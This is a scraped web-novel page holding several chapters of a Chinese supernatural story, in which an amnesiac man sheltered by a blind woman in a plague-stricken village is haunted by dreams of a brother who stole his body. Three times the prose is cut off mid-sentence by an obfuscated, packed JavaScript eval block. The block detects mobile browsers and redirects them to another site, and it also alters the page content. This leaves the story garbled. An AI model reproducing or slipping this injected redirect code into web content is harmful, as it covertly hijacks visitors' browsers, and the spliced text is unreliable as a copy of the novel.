芍七明白她的意思,她这是不希望自己被旁人另眼相待,否则早在一开始她就不用那般掩饰了。 “没事没事。” 他坐回了原来的位置,屋子里静静的,没人说话,略显尴尬。 他数着手指定在那儿,呆楞着盯着指节看,结果还是逼不出睡意,最后也只好放弃了这个想法。他偷偷瞥了一眼阿霖,她也没有困意,看起来还有些局促和不安。 这让芍七也不自在,为了缓解这一局面,他终于忍不住开了口,说道:“那个……屋子里原本就只有你一个人住么?” “嗯?嗯……”阿霖淡淡笑着,点了点头。 “咳……我的意思是,虽然我们现在是孤男寡女共处一室,而且我还是个陌生人……但是你不用觉得不安,我肯定不会对你做什么,更不会害你。” 阿霖闻言怔住。 芍七烧了脸,顿时后悔说了那些话,他知道自己越是说下去,就是将事情越描越黑。 “额……啊……我……我的意思是,你是我救命恩人,我会好好感谢你!”他险些口不择言起来。 “嗯。”阿霖转过头去,神情看起来是比之前放松了一些。 “对了,听你话的意思是,这儿还有别的不少村民吧?好歹我也是个男子,最后安置我的事情如何都交不到你手上吧?”芍七不假思索道。 阿霖笑着摇了摇头,带着无奈的意味,说道:“豫县出事以来大家都是人人自危,最多也就管管自家的事情,怎么会去管我这个无依无靠的瞎子?更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13015876|126577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何况这般情况维持了四年有余?这段日子是冬天,村子偏僻,物资缺乏,村民们又怕自己染上外头的瘟疫,都不敢远出,活动受限又得不到援资,日子都是掐着指头过下来的。 后来开始有避难的人跑到我们村子来,村民还是看人可怜愿意留他们。结果越来越多的人来了,大家生活拮据,就都不太乐意了。毕竟,虽然不想看到别人死去,但也比看着自己死去要好得多。” 她的话里带着寒气,偶尔的叹气虽然微不可闻,却能从火光之上乳白色的湿气窥见一二。 “所以你……” “你倒在荒地里,刚巧被捡干柴的我发现了。村子里的大叔人好,他肯帮我背你回来我就已经谢天谢地了。只是大家过得都难,我不能勉强大叔,所以最后就是我来负责安置你了。 不过,我还是之前的意思,因为我看不见,自力更生的能力不如人,过得没有多么舒坦,所以你多见谅。” 若是她没有发现他,他就不会活到现在;若是她和旁人一样选择视而不见,他就不会活到现在,而她也不会给自己平添生活上的压力。 他知道这都是因为阿霖的善良,但,却给了他一份被人重视的温暖。这份温暖令人安心,他从未有过这种感受。 想到这里,芍七的眼眶里已经升起了暖暖湿意,他嘴角蠕动想说什么话,最后还是默默别过脸去,尽量稳定好情绪,说道:“真的很谢谢你,今晚,是我过过的最安心的夜晚。” 阿霖轻笑一声,说他:“你不是失忆了吗?以前肯定过过很多个像这样甚至比现在还要安心的夜晚。” 阿霖的声音一出,芍七就忍不住了心中澎拜汹涌的委屈,他颤着声线,反驳她:“没……有,我就是感觉以前过得很苦很苦,今晚……就是最好的。” “啊……好好,依你的,今晚就是最好的。”阿霖有些慌乱,她本意是想安慰他,结果一不小心提起来过去的事情,叫这位刚刚劫后余生的兄弟乱了情绪。 不过她还是很想抱怨,因为,这人难过起来怎么会哭起来和小孩儿一般模样呢?她听村子里的大叔说过,这人的年纪最少也得及冠了,早不是小孩儿了啊。 “那……也不早了,你还是早些休息吧。”阿霖尴尬地说道。 “好。” …… 夜里寒风乱鼓,穿插着来自于深渊的呼啸声,是冤魂的追吼,在追回罪犯者的忏悔。 呼啸声入了耳鼓,穿过崇山峻岭,来到了芍七的梦境。 梦境里,他来到了一个村落,格外地熟悉,因为这里是“益阳村坊”。 他周身伴着浓黑色的黑雾,带着死气,他手中握着一柄剑,所到之处寸草不生、片瓦不留。 村落里看起来并没有白日那般可怖安静,他在这儿看到了不少逃窜的人影。他们的身体接触到了黑雾,开始溃烂,开始生虫,血色的蠕虫啃噬起他们饱满的胸腔,腐烂他们坚硬的肋骨,击溃他们心理的防线,让他们夹在生与死的缝隙之间承受着最绝望最不可能重获生机的苦难。 夜里,梦里,雾里,益阳村坊怨气横生,遍野乱尸,哀嚎之声划破天际。 白日,现实,雪中,益阳村坊静如坟茔,杳无生机。 反差之大,震撼心灵。 奇怪的感觉涌上心头,芍七感觉到了前所未有的痛楚,他开始觉得自己不再是原来的自我。 他拖着颓废的身躯在村落里走了两步,忽然感觉自己的衣角被人拉住。 他脚步止住,颤抖着身体缓缓转过头去。 98. 魂兮归来(6) 回身之后,芍七见两只小囡,一个男孩一个女孩,垂着头,正抓着他的衣角,却不讲话。如此情形,倒削弱了他心底的恐惧,他渐渐放下警惕心,对这两孩童问道:“你们怎么了?” 两个不讲话的孩童被芍七一唤便得了魂,抓着衣角的手捏地更紧了,慢慢的抬起头来。 谁成想,这长在孩童脸上面皮看起来的是多么叫人胆战心惊,可偏偏这两只面孔叫芍七倍感熟悉。 两个小孩面如死灰,瞪着一双黑洞般的眼睛,翻着青紫色的唇瓣,低幽幽地开口:“哥哥……你为什么不来找我们?我们……不是约好了吗?” 芍七闻言便觉得心头被什么东西重重捶打了一下,他颤巍巍地挪动脚步,想要逃跑。 “我不知道你们是谁……我不是你们口中的哥哥,你……你们认错了人……”他结结巴巴着,连连后退。 两孩子听罢便似受了刺激一般,稚嫩的面庞撕开一只口子,连着小嘴,张开,咧到了一对耳根子上,里面血气蓬勃,仔细一看,竟有无数只血色的蠕虫从嘴洞子里爬出来,连绵不绝。 紧接着,他们乌洞洞的眼洞子里溢出了淌着热气的血液,顺着脸颊流到身上、地上、芍七的脚跟头上,黏黏腻腻。 “啊啊啊啊啊!!!!!别过来!别过来!” 芍七已经被吓煞,不敢再犹豫半分,拽着衣角就往前跑。 那两只恐怖的孩子任然不肯松手,他的脚步走不得多快,却在此时,他又感觉到了有东西死死捆在他的后脚腿上。 只是低头看那么一眼,就被吓得魂飞魄散。 这是个妇人,同样瞪着乌黑的眼洞子,张着爬满虫子的嘴洞,她爬行在地面上,双手拽着芍七的腿脚,死不松手。 她嘴里还期期艾艾念着含糊不清的东西,听起来像是在说:“为什么……要害我们?明明……是我们接济了你,为什么……为什么……为什么……” 芍七真的害怕极了,可是就算如此,冥冥之中,他却还会觉得那两个恐怖的孩子与这位妇人之间有着不浅的关系……他虽然认不出这些人究竟是谁,却总觉得在之前见过他们。 满地的血液,参和着蠕动的血色虫子,绵绵密密地顺着芍七的脚跟往上爬,身前身后越来越多的怪人拽住他的衣角和腿脚,让他寸步难行,沉重的哀嚎声将他淹没在深渊的底部。 浓雾包裹着他的身体,伴随着他心底的惧意越来越浓密,越来越扩散,他想跑却怎么也跑不掉。 此时一个声音钻入他的脑海—— “快拿起你手中的剑,让他们都被杀死,让自己解脱!” 芍七怔住,手心发汗,感受到了剑的存在。 脑中的声音再度响起来—— “你还在犹豫什么?快点拿起剑,往前面砍出一条路来吧!” 他心神不稳,感觉自己被什么东西忽然控制住了一般,顿时来了气力,怨气升腾,戾气不断,都齐齐被灌输进了剑中。 他抬起长剑,疯狂朝前方刺过去。 前方浓雾障目,剑锋所指之处没入其中,虽然什么都看不到,芍七却感觉到了长剑刺入了什么东西的身体里,血肉的活动被长剑带到了他的手心里。 终归是梦境,所有发生的事情皆以虚幻之事当作底布,扑朔迷离,移步换景。前一刻浓雾迷茫,下一刻就有一只清晰的人影从中显现出来。 而刚刚那些阴魂不散的东西都不见了踪影,慌乱不堪的村落也忽然变得无比寂静。 芍七看到自己正握着一柄长剑正好刺入了眼前人影的胸膛,那人一直垂着头,叫人看不清面貌。他的身高要比自己矮上至少半个头,身形单薄,脸庞轮廓并不分明,是个未长开的少年郎。 芍七还没有反应过来刚刚到底发生了什么就逼着自己将剑插入对方的胸腔,他晃了晃脑袋,稳住心智,却稳不住颤抖的手。 他慌忙地要将剑拔出来,动作是下意识的,好似自己的双手对这样的事情已经万分熟练一般。 他完全没有想到,当他握住剑柄往回抽的时候,那被刺穿胸膛的少年却忽然抬起了头,少年主动捏住了剑缝不肯他将剑抽走,少年手上血淋淋的液体浸满了袖子,滴答滴答地往下面漏。 少年郎的面貌清秀分明,是活人模样,完全不似之前所见的那些人有着的那般骇人模样,他神色淡淡,好似完全感受不到疼痛。 剑没有拔走,被少年死死抓着,那深深凹陷下去的伤口如此惊悚。可明明被刺中的人是少年郎,疼痛的人却不是他,而是自己…… 好疼……为什么……为什么会这样? 芍七控制不住内心翻涌的浪潮,一遍一遍地问着自己。 长剑穿过肉身,于无形之间缩短了二人的距离,画面如此熟悉。芍七盯着仰面看他的少年郎,少年郎的模样让芍七陷入不断的自我怀疑。 因为,他对这张面孔有着无与伦比的感情,让他总感觉,他真正的躯体不是现在他所拥有的这一具,反而面前的少年郎才该是他本来的模样,是他本来的躯壳。 少年郎一直没有说话,他猩红色的眸子里翻涌着层出不穷的戾气,阴鸷的气息被强行灌入这具并不成熟的身体里,显现出难以言述的违和感。 这又让芍七觉得,这样的灵魂,它真正的躯壳不可能是这般模样。 梦境幻境虚虚实实皆向心而生,只要是潜意识里跑出来的哪怕细枝末节的念头,在此处都会被无限制的放大,总是让人觉得,所有荒诞的事情在此时都具备起存在的意义,而再不可能的事情再此时也会变得真实起来。 芍七也不例外。 “你……究竟是谁?”他不禁开口,望着这个既熟悉又陌生的少年郎,心中百感交集。 “少七,我是你啊……”少年郎意味深长地拖长了尾音,带着嘲弄。 “不,不是!你不可能是我!不,这也不是你!这明明是我的身体!你为什么要将我的身体据为己有!为什么!为什么?!”芍七逐渐失控,最后的话语全靠怒吼输出。 “我……”他茫然地往自己身上打量起来,忽地想起什么,看着自己的双手继续咆哮道,“这……这也不是我的躯体!这具躯体,定然是你的!你究竟是谁!” 他将眼神重新瞪回少年郎的身上,满眼织着血丝,不停的质问着对方,他是困兽犹斗,做着毫无意义的反抗。 “我是你的五哥,难道你不记得了么,少、七?”暴戾的少年将后面两个字一个一个说出,咬字很重,实属故意而为之。 “不!我不是少七!我明明是……我明明是……” 他慌得神智恍惚,本要出口的“芍七”二字却下意识地卡在了喉哽处,叫他觉得陌生不说,还令他深感恍如隔世的意味。 少年郎见此不冷不热地嘲道:“我的好弟弟,你不是少七还能是谁呢?再者……如今的你,到底叫什么名字,好似也并不重要了。因为,你早就不再是你自己了。” “闭嘴!闭嘴!闭嘴!”芍七受了刺激,再一次挥舞起手中长剑,冲刺一般再往前送去,恨不得要将眼前之人碎尸万段。 他见人影还在不断地翻动嘴巴,便觉得燥热难耐,心火旺盛不已,连连吵嚷着叫人闭嘴的话语。 魂火纷飞的梦境终究坍塌,芍七于惊慌之中醒过来。 在此之前,他口中的梦呓还在不断地强调着梦里说过的那些话语,动静不小,把在旁小憩的阿霖也吵醒了过来。 好在,天色已经拂晓。芍七的这些无意之举,倒也没有给别人带来太过分的困扰。 “你怎么了?”阿霖探过头来。 “做了噩梦吧。”芍七被问地匆忙,他随手抹了抹额头,摸出了一手油腻腻的汗,在寒冷的温度里,余温消散,让人的头皮愈来愈发冷。 “什么样的噩梦?”阿霖问道。 阿霖不提还好,一提倒让芍七登时清醒了,他意识到刚刚梦里发生的一切都蒙着荒诞的盖头,但具体要出来到底做了什么样的梦,他却无法说清楚,他的神志在模糊和清晰两岸左右摇摆不定着。若真要逼着自己将那些事情描述出来的话,只怕话还没倒嘴边,就因为觉得太过荒谬而被匆匆咽下肚子去。 他惭愧地垂着脑袋,讷讷开口:“不……不大能想起来了。” 阿霖笑着安慰他:“你不必紧张,其实我只是想同你讲,梦境于现实往往是相反的,噩梦说不准是预示未来会有好的事情发生呢。过去的事情已经过去了,我们得向前看。” 言罢,她已经熟练地将提前准备好的红薯串在了粗木棍上,转悠悠地搁火上烤起来。 无言片刻的这段时间里,红薯也烤好了。 阿霖连同木棍一齐递给了对面的芍七。 “先吃点东西吧。”阿霖悉心提醒道。 “谢谢,”芍七接过来东西,顿了顿,又道,“对了,你此处可有照面的东西?” “你是说镜子么?” “也可以。” “抱歉,因为我用不到那些东西,所以没有……”阿霖言语失落。 “没关系没关系。”芍七连连说道。 阿霖知晓这人慌乱,笑道:“无碍。不过村子外头有只荷塘,这个时节应该结了冰,大抵可以用用。” “好!”芍七兴奋道。他赶紧站起身子,什么都没准备就跑到门那里。不过,只是才敞开了一条缝,那些风雪就窸里窸落地跑进来,精准的扑到芍七身上,叫人连打寒颤。不得已下,他还是将门好好地合上。 阿霖听到了动静,没忍住小声笑了起来,讲他:“不用太过着急,你先裹好御寒的衣裳,待会我便带着你过去。” 芍七羞了一脸,瞎七八搭地应上了一句“也好”。 …… 没过多久,外面的风声便小了,雪气也渐渐化去,天气没有那么糟糕了。 出门之后,见天光懒洋,新日被一大片乌云掩着,只肯露出一轮银色的光圈,朦朦胧胧,灰蒙蒙的光盖在荒地之上,带着凉气。 芍七匆匆将村子的面貌扫了一阵,发现此处不仅位置偏僻以外,人们生活的环境也难以启齿,连益阳村坊那般僻静的村子的一半都比不上。 村子里面的人行色匆匆,面上皆是灰蒙蒙的颜色,没了鲜活的气息,大多数都瘪着嘴巴,凹着瘦削的脸颊,眼神呆滞着,像极了活死人,比梦中所见的怪物好不了多少。 相较下来,原本觉着清冷瘦弱的阿霖在此时竟然是美地出色,是一个意识尚在的正常活人。 芍七见此画面,不禁倒吸一口凉气。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13034866|126577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 人烟稀少的村落里,村民皆埋头在荒地里找着可以勉强果腹的食物。但若是仔细瞧一眼,便会从中发现一只另类的存在。 一个中年男子颓废地倒靠在墙壁跟头上,仰着面,直愣愣的将目光盯在了芍七身上。这种目光来得直接,好不避讳,极为让人感到不适。 芍七愣了愣,感受到了这份陌生目光的力量,他怔怔地回过眸来,刚巧不巧和那人打了给照面,也是十分直接的方式。 他清晰感觉到那中年人的目光从好奇转变成了无比的恐惧,其中还夹带着深重的仇恨。 那中年男人忽然发了疯,嘴里呼啦呼啦地吼着叫人听不明白的话。 话里常常带着“妖怪”,“虫子”之类的字眼,无比骇人听闻。 芍七不由自主地跟着男人一起恐惧。 最后,那颓然不堪的男人被一对老夫妇模样的村民拉回了屋子,嘴里塞上了抹布,“妖怪”,“虫子”之类的声音再听不见。 芍七在男子消失的最后一刻,清清楚楚地看到了男人微微抬起的手,而手指的方向分毫不差地指向了自己,眼里满是令人难以理解的恐慌。 那中年男子这么做难道是说……他就是自己嘴中所讲的“妖怪”和“虫子”吗? 梦中的鬼影憧憧再次占据他的脑海,他失神地望着自己的双手,越来越颤抖,越来越站不住脚,在心里不断的怀疑着自我。 阿霖感觉到了他的不对劲,用手戳了戳他,说道:“方才我也听到了动静,那个男人是老夫妇们的儿子,本来在外地做生意,一个月前他那儿忽然起了瘟疫,他从怪病之地逃出来,捡回来一条命,可惜最后虽然躲过了怪病,却疯了脑袋。 不过你也不用担心,我们村子里人都挺好的,他不会再有什么事了,而你呢,也不要再想别的事情了,起码你是幸运的对吧?” 阿霖的笑容给了芍七莫大的鼓励,他缓过神来,答应道:“我知道了,谢……谢谢你。” “事不宜迟,走吧。”阿霖转过身去,走在了前头。 …… 荷塘不深,大部分水域都禁不住寒气,结上了一层厚冰。站在上头,还会看见零星几只鱼儿被封冻在了深处,定格了模样。 芍七弯下身子,将面孔贴近了冰面。 刹那间,他的瞳孔剧烈震动,感觉自己的灵魂正被什么东西疯狂汲取走,他失去了灵活思考的能力。 他轻轻将手抚上脸庞,冰面上的人同他做起一样的动作。如此符合常理的现象在如今芍七的眼里,皆是荒唐不堪,令人难以置信。 照在冰面上的面孔让他忽然想起梦中的事情,看着这张脸,昨晚那个与他交面的少年郎的模样一下子生动地映入了他的脑海。 冰面上的人脸与少年郎的面貌有着七八分的相像,简直像极了兄弟。可是就算如此,芍七依旧觉得以如今这样的视角去认清“自己”的这张脸时,是如此地荒谬而陌生。奇怪的是,他在想到少年郎的面孔的时候便不会如此,他会觉得委屈,会觉得愤怒。 因为,他觉得少年郎的面孔才是自己的,少年郎的身体才是自己的。是有人恶意夺走了他的身体,剥夺了他的意识,占据了他的所有。 是谁这么做了呢? 是如今冰面上映着的人脸的原本的主人,是如今装载着他灵魂的这具身体的主人,是看起来像极了亲兄弟般的另一方? 还是萦绕在他梦境中一句又一句的“五哥”。 想到这里,芍七情不自禁地伸手触摸向冰面,泪水控制不住地往下淌落。 “你究竟是谁?你真的……是我的五哥吗?为什么……会变成这样?”他渐渐魔怔起来。 好在冰面的温度过于刺骨,他的手指刚与之相碰的那一刻便被刺了个爽快,他吃痛,忙不迭地收回了手,向后瘫倒在地,视角抬起,看见茫然无边的天际,亦如看见了自己的心境,他觉得失魂落魄。 阿霖敏感,她拐着木棍摸摸索索赶到芍七身边,很是担心,问道:“你这是怎么了?是不是哪里不舒服?” 芍七闻言,动了动眸子,勉强挤出一个笑,装作什么事情都没有发生一样,说道:“我没事,刚……刚刚不小心滑倒了。” 阿霖顺了一口气,喃喃道:“那就好。” 芍七尴尬,他随口问道:“那你刚刚在做什么呢?” “哦,我刚刚在找干柴呢。不过,找了这么久了,还是没什么收获,食物也没找着。”她叹气。 芍七站起身,拍了怕身上的灰土,扬了扬语气,有些安慰人的意味在里头,讲道:“那我来帮你……而且,我……我刚在冰面上面发现了有冻在里头的鱼,我们今天可以吃荤了。” “真的吗?!那真是太谢谢你了!不过,那冰面下面的鱼好不好弄?按道理来说,里头能抓的鱼肯定早被村子里的人抓完了……如果不容易的话,那便不要弄了。”话到后头,阿霖自己把自己说得冷静下来,但很难说得清这份略微牵强的冷静里会没有失落。 芍七咬了咬牙,瞥见藏在冰面深处的鱼,还是硬生生地扬着语气说道:“你不用担心,里面的鱼并不深,我……我可以的。” 虽然应下一句承诺并不容易,但用它来换取阿霖久违的开朗笑容,其实是划算的事。 99. 魂兮归来(7) 莫知莫觉之间,太阳躲在低垂的云幕后露出的那一弯金轮,已经爬上了天际的最高处。 芍七和阿霖满载而归,两人高高兴兴地回了屋子。 阿霖从未像今日这般有如此好的心情,成就感三个字在她心里有着足够重的分量,尽管这样好的心情和成就感绝大多数都拜芍七所赐。 她着急忙慌地要从芍七手里把处理好的鱼接过来,结果动作一时冒失,手没摸着方向,直接抓到了对方的手腕上。 她大惊失色,刚要道歉,却感觉到手上沾上了粘腻的东西,手感很是奇怪,她不由地愣住。 芍七见状,心道不妙,心虚的把手抽了回去,忙要往旁边钻过去。 此时,阿霖已经闻到了手上沾染的血腥气,她挡住了芍七的去路,肃声叫他坐下。 芍七不好反抗,只好依了言。 阿霖叫他将手伸出来,他就别别扭扭着不愿意,颇有孩子气,可惜的是这招对阿霖压根没多大用处。就这样,他除了乖乖听话,还能有什么办法呢? 果不其然,芍七手腕处留了一块很大的冻伤,周边还有几道被冰面划伤了的裂缝,此时还渗着血。 “你……”阿霖片刻无言。 芍七也不敢说话。 随后,阿霖叹了一口气,从衣角随意撕下一角布,给芍七小心地包好伤口。 “这些日子便不可再碰凉水了。”她摇了摇头,笑着对芍七嘱咐道。 语出后也让芍七放下了心里的一块大石头,起码不会被人觉得自己是为了面子硬逞强了。 谁成想,事情在下一秒就败露了。 “对了,这些日子你也不准瞎逞强了。” “嗯?!我……没有。”他难为情地别过脸去,拿另外一只手揉着脖子。 “你没有什么?”阿霖发觉了意思继续逗他。 “不……不是!我不是这……这这这个意思,我是说……我会听话的。” 阿霖扭过头去,却还是没憋住,哈哈笑出了声,嗤道:“瞧把你逗的。我没有别的意思,把事情放明面上讲也只是要谢谢你罢了。” 火光重新亮起,里头堆着昨晚烧化了的余烬,新的柴火续上了温度。今日比昨夜更暖人心。可能两个人都没有意识到他们之间的羁绊已经在潜移默化之中诞生,早已没了最开始初次见面时那般别扭的感觉。 多亏了芍七的不辞辛苦,他们今日收获的鱼足够吃上好几日,阿霖记着村里人的好,打算送这么些给他们。 不过,她看不见路,送起来并不方便,不得已之下,还是芍七揽下了这桩事体。 芍七提着两三条鱼出发,记着阿霖说的那些人家,其中不乏当初好心帮阿霖带他回去的大叔,也不乏昔日里照顾过阿霖起居的大婶。 现下,他手里仅剩了一条鱼,要送的人家并不是邻居,离得比较远。 说起来巧,这最后一户人家他在早上就见过,正是将那所谓的疯了脑袋的中年人拉回屋子的一对老夫妇。 他来时,刚好同这对老夫妇打了个照面,他将阿霖提前为他准备好的说辞交代了一番,老夫妇深凹下去的毫无血色的面庞上扯出了欣慰的笑容。或许是这抹发自真心的笑容在这样的环境下太过久违,所以此时呈现在他们面孔之上时,竟有着一种难以说明的怪异感和蹉跎感。 后来,芍七架不住老夫妇二人的热情,只好乖乖听话被他们拉进了屋子,说什么都要叫他带些土豆和番薯回去。 刚进门的那一瞬间,他就感到一股叫人心慌的气氛,这种感觉来自于一双躲在暗处凝视他的双眼,晦暝,阴鸷,恐惧,仇恨,紧张不安。 这股投射至他身上的眼神,叫人熟悉,芍七知道,这眼神来自于早上无意遇到的中年人,他在这个屋子里。 芍七紧张地舔了舔下嘴唇,用余光偷偷去打量屋子里的暗处。 那疯了的中年人躲在暗角里的床上,死气的神色叫人觉得他是地狱里的罗刹,可偏偏他身上止不住的战栗要折煞了他的威严。男人眼里蓄满了仇恨和哀怨,森森然然地定在那头,既不敢上前半步,也找不到退路。 “家里东西不多,叫阿霖莫要嫌弃,还有……阿霖是个好孩子,她救了你,你也莫要因为她的眼睛不好就对她有想法。”老爷子开了口,他将几只收拾好的土豆塞进了芍七怀里。 芍七还没来得及道谢,老婆子就顺着老爷子的话继续说道:“唉……你……终究是个男子,阿霖却是个弱女子,旁人帮不了你的时候,是她好心收留了你……你可得晓得知恩图报的道理。” 老婆子的话语委婉,却面面俱到,芍七自知分寸,朝老夫妇二人微微鞠了个躬,表示理解和感谢。 老夫妇见状,面上的愁色也算是少了些,他们满意地点了点头。二人本欲要叫芍七往家里再走动些,说外面太冷,叫他来里面暖暖,芍七不好意思久留,只好推辞。 三人推推搡搡之间,躲在暗处的中年男子忽然叫起来,嘴里呜呜嚷嚷地叫爹叫娘起来,似一只疯兽,惶悚地打探四周。 芍七被吓了一跳,于此同时,一股奇怪的味道扑向他的鼻尖,味道的源头毋庸置疑来自于这名疯男子。 这是……妖……气? 说起来奇怪,他对这种味道好像颇为熟悉,之前因为失忆的感觉,他总觉得世间周围的一切事物都能轻易叫他觉得陌生。可是“妖气”这个无比奇特的词语,却在此时,像他本身拥有过的某种特质一样,忽然浮现在他的脑海里,甚至毫无征兆。 屋子窄小,他与男子共处一室,所谓的距离不过也仅限于门跟头和床头的位置的纠葛,“妖气”味道浓郁,似旋风,往他身上卷过来;似浪潮,朝他身上扑过来。 芍气开始下意识地回忆起早晨时看见的景象,这个疯男子颓然倒在墙头,盯着他的眼神毫不寻常。那时,他注意到男子目光里的情绪从好奇往深沉而不可磨灭的恐惧里转变,男子的理智恰在此时被击溃地仅剩残垣断壁,他疯魔,口中嚷起叫人听不明白的话语。 芍七觉得在那个时候,“妖气”这股气味也应该会出现。当时,他与中年男子的距离太过遥远,冰寒地冻的空气限制了气息的扩散,所以在那时候,他没有及时捕捉到到它的存在。 而今,他再一次遇到了“妖气”,并且不负某种期望,顺利感知到了这抹气息。 与此同时,他也意识到除了自己以外,没有任何人可以察觉到此时的怪异之处。 这抹气息,仅有他能闻到。 或许,他也是在这个时候意识到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13047189|126577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,原来他是个“另类”。 男子的症状越来越不可控,他被疯症折磨得倒下身子,在床上不断抽搐着身体。可就算如此,他的脑袋还是坚持不渝地紧紧盯着芍七的方向看,口中不断地强调着“妖怪”、“妖怪”还有“虫子”、“虫子”…… 他怕极了,恨极了。 芍七看得懂他的情绪。 老夫妇心急如焚,只好同芍七打好招呼,叫他早些回去。而他们则赶紧扑到床上去,含着泪水攥紧儿子的手脚,不叫他太过没了人样。 这副场面,给芍七带来了无比的震撼之感,以至于等他回去之后,对着火光还依旧心不在焉。 “你怎么了?” 阿霖打破了沉默。 “还记得早上你同我说过的那个疯了病的男子吗?” “自然。” 芍七倒吸了一口凉气,语气沉沉的,说道:“我今儿去送鱼的时候,又遇到他了,他那副模样真是吓人。” 阿霖默了默,正试图去与芍七共情。 “没事,不用怕。我听老夫妇讲过,他们儿子虽然疯掉了,却也不会时时发病。” “不会时时发病,”芍七冷冷地附了一句,又道,“可每次我出现的时候,他便会发病。” 阿霖闻言,叹了一口气,念道:“你是想太多了,别担心了。” “我觉得……他好像不仅仅是疯了病那么简单。” 芍七说着说着,惆怅地抬起了眼。在火光的底衬下,他瞥见窗外一角沉云,遮着皓月,留着朦朦胧胧而引人沉思的影子,似幻境,似不可追忆的过去,似心底无法捞起的那荡忧伤。 “那你觉得会是怎样?” 阿霖看不见芍七眼里的飘飘渺渺,她还是闭着眼,坐在原地,守候着身前的火光。 “我觉得,他或许也沾上了传闻中的瘟疫。” “不可瞎说。四年里得过瘟疫的人都不会活过一日,这些人早就埋进了土,化作了尘烟,哪里还能存活到现在?再者,你也没有见过瘟疫,怎么会有这种想法?” 因为他感觉到了妖气么?还是因为他觉得所谓的”瘟疫”对他来说带着无与伦比的熟悉感? 不,他自然不好这般说话,他知道“妖气”这个词眼放在此时是多么禁忌,也知道后半句是说出来得有多么地惊世骇俗。 “我只是觉得不安,有种隐隐约约的……不好的预感罢了。”芍气收回眼,重新对上暖洋洋的火光,哈着气,取起了暖。 阿霖是无法理解芍七的心情的,她只以为,芍七之所以能说出这些叫人摸不着头脑的话,是因为他同那疯了病的男子一样,迟迟没有走出灾难之地的阴影。 她抱着复杂的心情,朝芍七抛过去几颗冒着热气的烧土豆。 芍七毫无戒心地将东西接到手心,滚烫的手感灼地他连忙摸耳吹气。 他的举动惹得平日里不苟言笑的阿霖笑得自在。 笑容可以传染,他也被自己傻里傻气的行径逗地笑出声来。 阿霖的笑容收了几分,脸上露出了满意的神色,她看向芍七,尽量提起语气对他说话。 她温声:“这样才对了,开心一点,吃饱了,早早睡觉。” 芍七乖乖地点了点头,应了她的话。 100. 魂兮归来(8) 过了段安稳日子后,豫县又开始飘雪,断断续续愣是下了三五日。连带着先前的时间,算下来,芍七竟是在益山村坊待了十日左右。 日日夜夜轮番过,停雪时分可以去村外远些的地方找些干柴抑或是挖些土豆番薯,下雪时分,他与阿霖便守着暖和的火光讲些话或是在同一屋檐下静静熟睡下去。不知不觉之间,在孤独村落里,他们互相产生了一股名为“依赖”的情愫,彼此视为逼仄屋子中不可或缺的一部分。 芍七知道这意味着什么,只是顾及心中所虑不敢讲出口来。倒是阿霖坦言,说这是家人的感觉,不管外面的风雪有多大,不管日子过得多么煎熬,只要有家人在身边,都不会觉得孤独。 夜里,芍七的梦中,魂火纷飞,连绵不绝,他知道,这些“东西”是绝无可能再放过他了。梦中的故事不断重叠、交汇、繁衍,节奏是一日比一日紧促,芍七忍受残酷梦境的耐力越来越有限,这样的感觉总让他联想到好几日前碰见那个疯病加重的中年男子,那个时候,这份不安的预感也总是频频出现。 终归是暴风雪前的宁静,芍七没有料错。 村子里忽然不再寂静死气,老夫妇二人接连疯病的消息在村子里闹开来,没过多久,村子里越来越多的人感觉到自己的精神开始恍惚,见火失色,胸沉气闷……瘟疫的谣言以一发不可收拾的态势包裹了整个村落。 所有人都说,妖物要来了。 芍七心中不详的预感越来越强,而阿霖也开始惴惴不安,她甚至开始揣摩芍七先前的推测。 不久之后。 意外如约而至—— 冬日凌晨,天色晦暗,本来这个时辰里,村子里绝对不会有什么动静。可是芍七却听到了一串又一串踢踢踏踏的脚步声,接踵而至,带着逍遥而过的火光,在暗夜里烧出一片火红。这副场面与平日里见到的模样相比颇有割裂感,叫人乍眼看过去,还以为是做了梦。 芍七刚刚从惶悚的梦境中惊醒,他此时刚巧碰上这波不同寻常的动静,浑浑噩噩地欠起身子,透过空茫的窗眼,望见一片耀眼的红焰。这抹焰色在晦暝的天色中撕开一道窈然无际的口子,似暗夜里猛兽窥视猎物的虎视眈眈的眼。 他一瞬间便清醒了,因为他意识到这抹耀眼的火光并不属于梦境,甚至更叫人脊背发软的是……他发现,自己正身处于火光的中央,他可以隐约看见火光底下是乌漆嘛黑而簇拥着的人影,他们手持火把,将屋子围得水泄不通。火把汇聚成烧得滚烫的火圈,他成了笼中之雀,哪里都逃不走。 他好像忽然明白了梦境中游魂们口中所言的报应是为何物,冥冥之中,他的心中自然而然地升起一片怅惘。 不……不可以…… 